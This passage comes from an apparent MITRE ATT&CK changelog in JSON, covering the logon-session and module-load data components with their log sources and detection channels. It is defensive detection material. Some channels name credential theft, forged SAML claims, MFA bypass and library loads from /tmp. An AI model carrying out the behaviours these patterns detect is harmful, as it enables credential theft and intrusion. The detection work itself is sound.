\"channel\": \"Debug or memory access commands indicating attempts to alter OS instructions in memory\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Boot information log showing image loaded from TFTP server instead of local storage\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--ca1cb239-ff6d-4f64-b9d7-41c8556a8b4f\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:38.020000+00:00\", \"old_value\": \"2025-04-18 15:12:52.606000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:14:35.022000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0067", + "external_id": "DC0067" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Logon Session Creation", + "description": "The successful establishment of a new user session following a successful authentication attempt. This typically signifies that a user has provided valid credentials or authentication tokens, and the system has initiated a session associated with that user account. This data is crucial for tracking authentication events and identifying potential unauthorized access. Examples: \n\n- Windows Systems\n - Event ID: 4624\n - Logon Type: 2 (Interactive) or 10 (Remote Interactive via RDP).\n - Account Name: JohnDoe\n - Source Network Address: 192.168.1.100\n - Authentication Package: NTLM\n- Linux Systems\n - /var/log/utmp or /var/log/wtmp:\n - Log format: login user [tty] from [source_ip]\n - User: jane\n - IP: 10.0.0.5\n - Timestamp: 2024-12-28 08:30:00\n- macOS Systems\n - /var/log/asl.log or unified logging framework:\n - Log: com.apple.securityd: Authentication succeeded for user 'admin'\n- Cloud Environments\n - Azure Sign-In Logs:\n - Activity: Sign-in successful\n - Client App: Browser\n - Location: Unknown (Country: X)\n- Google Workspace\n - Activity: Login\n - Event Type: successful_login\n - Source IP: 203.0.113.55\n\nThis data component can be collected through the following measures:\n\n- Windows Systems\n - Event Logs: Monitor Security Event Logs using Event ID 4624 for successful logons.\n - PowerShell Example: `Get-EventLog -LogName Security -InstanceId 4624`\n- Linux Systems\n - Log Files: Monitor `/var/log/utmp`, `/var/log/wtmp`, or `/var/log/auth.log` for logon events.\n - Tools: Use `last` or `who` commands to parse login records.\n- macOS Systems\n - Log Sources: Monitor `/var/log/asl.log` or Apple Unified Logs using the `log show` command.\n - Command Example: `log show --predicate 'eventMessage contains \"Authentication succeeded\"' --info`\n- Cloud Environments\n - Azure AD: Use Azure Monitor to analyze sign-in logs. Example CLI Query: `az monitor log-analytics query -w --analytics-query \"AzureActivity | where ActivityStatus == 'Success' and OperationName == 'Sign-in'\"`\n - Google Workspace: Enable and monitor Login Audit logs from the Admin Console.\n - Office 365: Use Audit Log Search in Microsoft 365 Security & Compliance Center for login-related events.\n- Network Logs\n - Sources: Network authentication mechanisms (e.g., RADIUS or TACACS logs).\n- Enable EDR Monitoring: \n - EDR tools monitor logon session activity, including the creation of new sessions.\n - Configure alerts for: Suspicious logon types (e.g., Logon Type 10 for RDP or Type 5 for Service). Logons from unusual locations, accounts, or devices.\n - Leverage EDR telemetry for session attributes like source IP, session duration, and originating process.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Logon Session", + "channel": "None" + }, + { + "name": "macos:unifiedlog", + "channel": "UserLoggedIn" + }, + { + "name": "AWS:CloudTrail", + "channel": "ConsoleLogin, AssumeRole, ListResources" + }, + { + "name": "azure:signin", + "channel": "UserLoginSuccess, TokenIssued" + }, + { + "name": "Okta:SystemLog", + "channel": "user.authentication.sso, app.oauth.grant" + }, + { + "name": "m365:signin", + "channel": "SignInSuccess, RoleAssignmentRead" + }, + { + "name": "m365:unified", + "channel": "UserLoggedIn" + }, + { + "name": "gcp:audit", + "channel": "LoginAudit, DriveAudit" + }, + { + "name": "saas:auth", + "channel": "LoginSuccess, APIKeyUse, AdminAction" + }, + { + "name": "azure:signinlogs", + "channel": "Abnormal sign-in from scripting tools (PowerShell, AADInternals)" + }, + { + "name": "azure:signinlogs", + "channel": "Suspicious login to cloud mailbox system" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4624" + }, + { + "name": "azure:signinlogs", + "channel": "Failed MFA attempts, unusual conditional access triggers, login attempts from unexpected IP ranges" + }, + { + "name": "AWS:CloudTrail", + "channel": "ConsoleLogin" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4624, 4648" + }, + { + "name": "NSM:Connections", + "channel": "Mismatch between recorded user logon and active sessions (e.g., wtmp/utmp entries without corresponding authentication in auth.log)" + }, + { + "name": "macos:unifiedlog", + "channel": "Authentication inconsistencies where commands are executed without corresponding login events" + }, + { + "name": "CloudTrail:Signin", + "channel": "SAML login without corresponding IdP authentication log" + }, + { + "name": "m365:sharepoint", + "channel": "File access with forged or anomalous SAML claims" + }, + { + "name": "AWS:CloudTrail", + "channel": "Web console logins using session cookies without corresponding MFA event" + }, + { + "name": "saas:access", + "channel": "Multiple concurrent logins using same cookie from different locations" + }, + { + "name": "AWS:CloudTrail", + "channel": "ConsoleLogin: If IdP backed by cloud provider, Console login from new IP/agent after correlated endpoint compromise" + }, + { + "name": "macos:unifiedlog", + "channel": "authentication" + }, + { + "name": "AWS:CloudTrail", + "channel": "SendSSHPublicKey, StartSession (SSM), EC2InstanceConnect" + }, + { + "name": "azure:signin", + "channel": "Microsoft.Compute/virtualMachines/serialConsole/connect/action" + }, + { + "name": "gcp:audit", + "channel": "cloud.ssh.publicKey.inserted, compute.instances.osLogin" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4624 with LogonType=9 or smartcard logon" + }, + { + "name": "NSM:Connections", + "channel": "Missing new login event but session activity continues" + }, + { + "name": "macos:unifiedlog", + "channel": "Session reuse without new auth event" + }, + { + "name": "AWS:CloudTrail", + "channel": "Temporary security credentials used to authenticate into management console or APIs" + }, + { + "name": "macos:unifiedlog", + "channel": "Access to Keychain items or browser credential stores" + }, + { + "name": "m365:signin", + "channel": "Token usage events with device/user mismatch" + }, + { + "name": "saas:github", + "channel": "Login from unusual IP, device fingerprint, or location; access token creation from new client" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4624 (LogonType=10 or 3), EventCode=4648" + }, + { + "name": "linux:syslog", + "channel": "sshd: Accepted password/publickey" + }, + { + "name": "macos:unifiedlog", + "channel": "eventMessage CONTAINS 'screensharingd' or 'AuthorizationRefCreate'" + }, + { + "name": "AWS:CloudTrail", + "channel": "AWS ConsoleLogin, StartSession" + }, + { + "name": "esxi:vmkernel", + "channel": "vim.fault.*, DCUI login, SSH shell" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4624 (LogonType=3)" + }, + { + "name": "AWS:CloudTrail", + "channel": "GetConsoleOutput" + }, + { + "name": "saas:okta", + "channel": "user.session.start" + }, + { + "name": "m365:unified", + "channel": "ViewAdminReport" + }, + { + "name": "saas:zoom", + "channel": "Zoom Admin Dashboard accessed from unfamiliar IP/device" + }, + { + "name": "WinEventLog:Security", + "channel": "Anomalous logon without MFA enforcement" + }, + { + "name": "networkdevice:Firewall", + "channel": "Login from untrusted IP, or new admin account accessing firewall console/API" + }, + { + "name": "linux:syslog", + "channel": "authentication success after file access" + }, + { + "name": "macos:unifiedlog", + "channel": "Keychain or user login post-access" + }, + { + "name": "AWS:CloudTrail", + "channel": "sudden role assumption after credential file access" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4624 (LogonType=10), EventCode=4648" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4624, 4672, 4648" + }, + { + "name": "NSM:Connections", + "channel": "Accepted publickey for user from unusual IP or without tty" + }, + { + "name": "saas:confluence", + "channel": "logon" + }, + { + "name": "linux:syslog", + "channel": "auth.log / secure.log" + }, + { + "name": "esxi:auth", + "channel": "Shell login or escalation" + }, + { + "name": "linux:auth", + "channel": "User login event followed by unexpected process tree" + }, + { + "name": "azure:signinlogs", + "channel": "InteractiveUserLogin: Discovery behavior linked to privileged logins from atypical IP ranges" + }, + { + "name": "m365:signinlogs", + "channel": "UserLogin: Discovery operations shortly after account logins from new geolocations" + }, + { + "name": "saas:auth", + "channel": "Login, TokenGranted: Discovery actions tied to anomalous login sessions or tokens" + }, + { + "name": "WinEventLog:Security", + "channel": "4624" + }, + { + "name": "NSM:Connections", + "channel": "simultaneous or anomalous logon sessions across multiple systems" + }, + { + "name": "macos:unifiedlog", + "channel": "authentication plugin load or modification events" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4624,4648, 4672" + }, + { + "name": "azure:ad", + "channel": "SignInEvents" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4624,4648,4672,4769" + }, + { + "name": "linux:syslog", + "channel": "Accepted publickey/password for * from * port * ssh2" + }, + { + "name": "macos:unifiedlog", + "channel": "loginwindow or sshd successful login events" + }, + { + "name": "azure:signinlogs", + "channel": "InteractiveUser, ServicePrincipalSignIn" + }, + { + "name": "AWS:CloudTrail", + "channel": "AssumeRole,AssumeRoleWithSAML,AssumeRoleWithWebIdentity" + }, + { + "name": "azure:signinlogs", + "channel": "InteractiveUser, NonInteractiveUser" + }, + { + "name": "azure:signinlogs", + "channel": "UserLogin, ConditionalAccessPolicyEvaluated" + }, + { + "name": "saas:okta", + "channel": "session.token.reuse" + }, + { + "name": "auditd:SYSCALL", + "channel": "capset or setns" + }, + { + "name": "gcp:audit", + "channel": "admin.googleapis.com" + }, + { + "name": "m365:signinlogs", + "channel": "UserLoggedIn" + }, + { + "name": "WinEventLog:Security", + "channel": "EventID=4624" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4624, 4634" + }, + { + "name": "linux:syslog", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0067\", \"external_id\": \"DC0067\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Logon Session\", \"channel\": \"None\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"UserLoggedIn\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"ConsoleLogin, AssumeRole, ListResources\"}, {\"name\": \"azure:signin\", \"channel\": \"UserLoginSuccess, TokenIssued\"}, {\"name\": \"Okta:SystemLog\", \"channel\": \"user.authentication.sso, app.oauth.grant\"}, {\"name\": \"m365:signin\", \"channel\": \"SignInSuccess, RoleAssignmentRead\"}, {\"name\": \"m365:unified\", \"channel\": \"UserLoggedIn\"}, {\"name\": \"gcp:audit\", \"channel\": \"LoginAudit, DriveAudit\"}, {\"name\": \"saas:auth\", \"channel\": \"LoginSuccess, APIKeyUse, AdminAction\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Abnormal sign-in from scripting tools (PowerShell, AADInternals)\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Suspicious login to cloud mailbox system\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4624\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Failed MFA attempts, unusual conditional access triggers, login attempts from unexpected IP ranges\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"ConsoleLogin\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4624, 4648\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Mismatch between recorded user logon and active sessions (e.g., wtmp/utmp entries without corresponding authentication in auth.log)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Authentication inconsistencies where commands are executed without corresponding login events\"}, {\"name\": \"CloudTrail:Signin\", \"channel\": \"SAML login without corresponding IdP authentication log\"}, {\"name\": \"m365:sharepoint\", \"channel\": \"File access with forged or anomalous SAML claims\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"Web console logins using session cookies without corresponding MFA event\"}, {\"name\": \"saas:access\", \"channel\": \"Multiple concurrent logins using same cookie from different locations\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"ConsoleLogin: If IdP backed by cloud provider, Console login from new IP/agent after correlated endpoint compromise\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"authentication\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"SendSSHPublicKey, StartSession (SSM), EC2InstanceConnect\"}, {\"name\": \"azure:signin\", \"channel\": \"Microsoft.Compute/virtualMachines/serialConsole/connect/action\"}, {\"name\": \"gcp:audit\", \"channel\": \"cloud.ssh.publicKey.inserted, compute.instances.osLogin\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4624 with LogonType=9 or smartcard logon\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Missing new login event but session activity continues\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Session reuse without new auth event\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"Temporary security credentials used to authenticate into management console or APIs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Access to Keychain items or browser credential stores\"}, {\"name\": \"m365:signin\", \"channel\": \"Token usage events with device/user mismatch\"}, {\"name\": \"saas:github\", \"channel\": \"Login from unusual IP, device fingerprint, or location; access token creation from new client\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4624 (LogonType=10 or 3), EventCode=4648\"}, {\"name\": \"linux:syslog\", \"channel\": \"sshd: Accepted password/publickey\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"eventMessage CONTAINS 'screensharingd' or 'AuthorizationRefCreate'\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"AWS ConsoleLogin, StartSession\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"vim.fault.*, DCUI login, SSH shell\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4624 (LogonType=3)\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"GetConsoleOutput\"}, {\"name\": \"saas:okta\", \"channel\": \"user.session.start\"}, {\"name\": \"m365:unified\", \"channel\": \"ViewAdminReport\"}, {\"name\": \"saas:zoom\", \"channel\": \"Zoom Admin Dashboard accessed from unfamiliar IP/device\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"Anomalous logon without MFA enforcement\"}, {\"name\": \"networkdevice:Firewall\", \"channel\": \"Login from untrusted IP, or new admin account accessing firewall console/API\"}, {\"name\": \"linux:syslog\", \"channel\": \"authentication success after file access\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Keychain or user login post-access\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"sudden role assumption after credential file access\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4624 (LogonType=10), EventCode=4648\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4624, 4672, 4648\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Accepted publickey for user from unusual IP or without tty\"}, {\"name\": \"saas:confluence\", \"channel\": \"logon\"}, {\"name\": \"linux:syslog\", \"channel\": \"auth.log / secure.log\"}, {\"name\": \"esxi:auth\", \"channel\": \"Shell login or escalation\"}, {\"name\": \"linux:auth\", \"channel\": \"User login event followed by unexpected process tree\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"InteractiveUserLogin: Discovery behavior linked to privileged logins from atypical IP ranges\"}, {\"name\": \"m365:signinlogs\", \"channel\": \"UserLogin: Discovery operations shortly after account logins from new geolocations\"}, {\"name\": \"saas:auth\", \"channel\": \"Login, TokenGranted: Discovery actions tied to anomalous login sessions or tokens\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"4624\"}, {\"name\": \"NSM:Connections\", \"channel\": \"simultaneous or anomalous logon sessions across multiple systems\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"authentication plugin load or modification events\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4624,4648, 4672\"}, {\"name\": \"azure:ad\", \"channel\": \"SignInEvents\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4624,4648,4672,4769\"}, {\"name\": \"linux:syslog\", \"channel\": \"Accepted publickey/password for * from * port * ssh2\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"loginwindow or sshd successful login events\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"InteractiveUser, ServicePrincipalSignIn\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"AssumeRole,AssumeRoleWithSAML,AssumeRoleWithWebIdentity\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"InteractiveUser, NonInteractiveUser\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"UserLogin, ConditionalAccessPolicyEvaluated\"}, {\"name\": \"saas:okta\", \"channel\": \"session.token.reuse\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"capset or setns\"}, {\"name\": \"gcp:audit\", \"channel\": \"admin.googleapis.com\"}, {\"name\": \"m365:signinlogs\", \"channel\": \"UserLoggedIn\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventID=4624\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4624, 4634\"}, {\"name\": \"linux:syslog\", \"channel\": \"None\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--4358c631-e253-4557-86df-f687d0ef9891\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:35.022000+00:00\", \"old_value\": \"2025-04-18 15:12:26.544000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:14:36.246000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0088", + "external_id": "DC0088" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Logon Session Metadata", + "description": "Contextual data about a logon session, such as username, logon type, access tokens (security context, user SIDs, logon identifiers, and logon SID), and any activity associated within it", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Logon Session", + "channel": "None" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4672" + }, + { + "name": "macos:unifiedlog", + "channel": "LoginWindow context with associated PID linked to reopened plist paths" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4624, 4634, 4672, 4768, 4769" + }, + { + "name": "azure:signinLogs", + "channel": "SAML-based login with anomalous issuer or NotOnOrAfter lifetime" + }, + { + "name": "m365:unified", + "channel": "Abnormal user claims or unexpected elevated role assignment in SAML assertion" + }, + { + "name": "macos:unifiedlog", + "channel": "authd generating multiple MFA token requests" + }, + { + "name": "linux:syslog", + "channel": "None" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4624, 4625, 4768, 4769" + }, + { + "name": "linux:syslog", + "channel": "sssd / sudo logs" + }, + { + "name": "esxi:hostd", + "channel": "/var/log/hostd.log" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4624, 4634, 4672, 4769" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4624, 4672" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4778, EventCode=4779" + }, + { + "name": "auditd:SYSCALL", + "channel": "ssh logins or execve of remote commands" + }, + { + "name": "macos:unifiedlog", + "channel": "Remote login (ssh) or screen sharing authentication attempts" + }, + { + "name": "kubernetes:audit", + "channel": "Unauthorized container creation or kubelet exec logs" + }, + { + "name": "auditd:USER_LOGIN", + "channel": "USER_LOGIN" + }, + { + "name": "macos:unifiedlog", + "channel": "loginwindow or sshd" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4800, 4801" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4776,4771,4770" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve,socket,connect,openat" + }, + { + "name": "macos:unifiedlog", + "channel": "Group membership change for admin or wheel" + }, + { + "name": "azure:audit", + "channel": "Add delegated admin / Assign admin roles / Update application consent" + }, + { + "name": "saas:okta", + "channel": "user.session.start, app.oauth2.as.authorize, policy.mfa.bypass" + }, + { + "name": "gcp:audit", + "channel": "google.iam.credentials.generateAccessToken / serviceAccountTokenCreator" + }, + { + "name": "saas:salesforce", + "channel": "ConnectedApp OAuth policy change / Login as user" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4624,4672" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4624, 4672, 4634, 4768, 4769" + }, + { + "name": "macos:unifiedlog", + "channel": "Unusual Kerberos TGS-REQ without TGT or anomalous ticket lifetime" + }, + { + "name": "saas:okta", + "channel": "user.authentication.sso" + }, + { + "name": "m365:unified", + "channel": "FileAccessed, SharingSet" + }, + { + "name": "m365:signin", + "channel": "UserLogin" + }, + { + "name": "macos:unifiedlog", + "channel": "loginwindow, sshd" + }, + { + "name": "NSM:Connections", + "channel": "Successful sudo or ssh from unknown IPs" + }, + { + "name": "macos:unifiedlog", + "channel": "loginwindow or sshd events with external IP" + }, + { + "name": "macos:unifiedlog", + "channel": "process = 'sshd'" + }, + { + "name": "esxi:auth", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0088\", \"external_id\": \"DC0088\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Logon Session\", \"channel\": \"None\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4672\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"LoginWindow context with associated PID linked to reopened plist paths\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4624, 4634, 4672, 4768, 4769\"}, {\"name\": \"azure:signinLogs\", \"channel\": \"SAML-based login with anomalous issuer or NotOnOrAfter lifetime\"}, {\"name\": \"m365:unified\", \"channel\": \"Abnormal user claims or unexpected elevated role assignment in SAML assertion\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"authd generating multiple MFA token requests\"}, {\"name\": \"linux:syslog\", \"channel\": \"None\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4624, 4625, 4768, 4769\"}, {\"name\": \"linux:syslog\", \"channel\": \"sssd / sudo logs\"}, {\"name\": \"esxi:hostd\", \"channel\": \"/var/log/hostd.log\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4624, 4634, 4672, 4769\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4624, 4672\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4778, EventCode=4779\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"ssh logins or execve of remote commands\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Remote login (ssh) or screen sharing authentication attempts\"}, {\"name\": \"kubernetes:audit\", \"channel\": \"Unauthorized container creation or kubelet exec logs\"}, {\"name\": \"auditd:USER_LOGIN\", \"channel\": \"USER_LOGIN\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"loginwindow or sshd\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4800, 4801\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4776,4771,4770\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve,socket,connect,openat\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Group membership change for admin or wheel\"}, {\"name\": \"azure:audit\", \"channel\": \"Add delegated admin / Assign admin roles / Update application consent\"}, {\"name\": \"saas:okta\", \"channel\": \"user.session.start, app.oauth2.as.authorize, policy.mfa.bypass\"}, {\"name\": \"gcp:audit\", \"channel\": \"google.iam.credentials.generateAccessToken / serviceAccountTokenCreator\"}, {\"name\": \"saas:salesforce\", \"channel\": \"ConnectedApp OAuth policy change / Login as user\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4624,4672\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4624, 4672, 4634, 4768, 4769\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Unusual Kerberos TGS-REQ without TGT or anomalous ticket lifetime\"}, {\"name\": \"saas:okta\", \"channel\": \"user.authentication.sso\"}, {\"name\": \"m365:unified\", \"channel\": \"FileAccessed, SharingSet\"}, {\"name\": \"m365:signin\", \"channel\": \"UserLogin\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"loginwindow, sshd\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Successful sudo or ssh from unknown IPs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"loginwindow or sshd events with external IP\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process = 'sshd'\"}, {\"name\": \"esxi:auth\", \"channel\": \"None\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--4358c631-e253-4557-86df-f687d0ef9891\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:36.246000+00:00\", \"old_value\": \"2025-04-25 14:39:59.118000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:14:35.471000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0016", + "external_id": "DC0016" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Module Load", + "description": "When a process or program dynamically attaches a shared library, module, or plugin into its memory space. This action is typically performed to extend the functionality of an application, access shared system resources, or interact with kernel-mode components.\n\n*Data Collection Measures:*\n\n- Event Logging (Windows):\n - Sysmon Event ID 7: Logs when a DLL is loaded into a process.\n - Windows Security Event ID 4688: Captures process creation events, often useful for correlating module loads.\n - Windows Defender ATP: Can provide visibility into suspicious module loads.\n- Event Logging (Linux/macOS):\n - AuditD (`execve` and `open` syscalls): Captures when shared libraries (`.so` files) are loaded.\n - Ltrace/Strace: Monitors process behavior, including library calls (`dlopen`, `execve`).\n - MacOS Endpoint Security Framework (ESF): Monitors library loads (`ES_EVENT_TYPE_NOTIFY_DYLD_INSERT_LIBRARIES`).\n- Endpoint Detection & Response (EDR): \n - Provide real-time telemetry on module loads and process injections.\n - Sysinternals Process Monitor (`procmon`): Captures loaded modules and their execution context.\n- Memory Forensics:\n - Volatility Framework (`malfind`, `ldrmodules`): Detects injected DLLs and anomalous module loads.\n - Rekall Framework: Useful for kernel-mode module detection.\n- SIEM and Log Analysis:\n - Centralized log aggregation to correlate suspicious module loads across the environment.\n - Detection rules using correlation searches and behavioral analytics.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Module", + "channel": "None" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "name": "ETW:LoadImage", + "channel": "provider: ETW LoadImage events for images from user-writable/UNC paths" + }, + { + "name": "auditd:SYSCALL", + "channel": "openat/read/mmap: Open/mmap .so files from non-standard paths" + }, + { + "name": "linux:osquery", + "channel": "select: Open files path LIKE '/tmp/%.so' OR '/dev/shm/%.so'" + }, + { + "name": "macos:unifiedlog", + "channel": "dyld/unified log entries indicating image load from non-system paths" + }, + { + "name": "macos:osquery", + "channel": "select: path LIKE '%/Library/%/*.dylib' OR '/tmp/*.dylib'" + }, + { + "name": "macos:unifiedlog", + "channel": "dynamic loading of sleep-related functions or sandbox detection libraries" + }, + { + "name": "auditd:SYSCALL", + "channel": "LD_PRELOAD Logging" + }, + { + "name": "linux:osquery", + "channel": "Dynamic Linking State" + }, + { + "name": "macos:unifiedlog", + "channel": "DYLD event subsystem" + }, + { + "name": "linux:osquery", + "channel": "Process linked with libcrypto.so making external connections" + }, + { + "name": "macos:unifiedlog", + "channel": "process execution events with dylib load activity" + }, + { + "name": "linux:Sysmon", + "channel": "EventCode=7" + }, + { + "name": "WinEventLog:Application", + "channel": "CLR Assembly creation, loading, or modification logs via MSSQL CLR integration" + }, + { + "name": "macos:unifiedlog", + "channel": "Process memory maps new dylib (dylib_load event)" + }, + { + "name": 